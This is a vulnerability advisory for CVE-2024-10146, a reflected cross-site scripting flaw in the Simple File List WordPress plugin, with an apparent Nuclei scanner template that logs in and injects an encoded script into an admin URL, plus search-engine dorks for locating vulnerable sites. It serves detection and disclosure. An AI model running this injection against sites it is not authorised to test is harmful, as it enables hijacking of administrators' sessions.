CVE-2024-10146: Simple File List < 6.1.13 - Reflected Cross-Site Scripting

2025-08-01 Simple File List PoC Public

Description

Simple File List WordPress plugin \u003C 6.1.13 contains a reflected cross-site scripting caused by unsanitized URL output in an attribute, letting attackers execute malicious scripts in admin browsers, exploit requires victim to be an admin.

PoC

id: CVE-2024-10146

info:
  name: Simple File List < 6.1.13 - Reflected Cross-Site Scripting
  author: 0x_AKoko
  severity: medium
  description: |
    Simple File List WordPress plugin \u003C 6.1.13 contains a reflected cross-site scripting caused by unsanitized URL output in an attribute, letting attackers execute malicious scripts in admin browsers, exploit requires victim to be an admin.
  impact: |
    Attackers can execute malicious scripts in admin browsers, potentially leading to session hijacking or privilege escalation.
  remediation: |
    Update to version 6.1.13 or later.
  reference:
    - https://wpscan.com/vulnerability/9ee74a0f-83ff-4c15-a114-f8f6baab8bf5/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-10146
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2024-10146
    cwe-id: CWE-79
    epss-score: 0.00585
    epss-percentile: 0.46415
    cpe: cpe:2.3:a:simplefilelist:simple_file_list:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: simplefilelist
    product: simple_file_list
    framework: wordpress
    fofa-query: "wp-content/plugins/simple-file-list/"
    google-query: inurl:"/wp-content/plugins/simple-file-list/"
  tags: cve,cve2024,wpscan,wordpress,wp-plugin,wp,simple-file-list,xss,authenticated,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=ee-simple-file-list&tab=settings&subtab=uploader_settings&nfqis%22%3e%3cscript%3eeval(atob(%22YWxlcnQoJ2RvY3VtZW50LmRvbWFpbicp%22))%3c%2fscript%3eepkajs8ophd=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, "<script>eval(atob(\"YWxlcnQoJ2RvY3VtZW50LmRvbWFpbicp\"))</script>")
          - contains(body, 'Simple File List')
        condition: and
# digest: 4b0a00483046022100981887d9d07af1e9c873176f86c428239dede917f97767a2e04690cb49c94d6102210098956b42f7141b8f240896061dc6cf111ef23a3fb98496d26ffd72e208901048:922c64590222798bb761d5b6d8e72950

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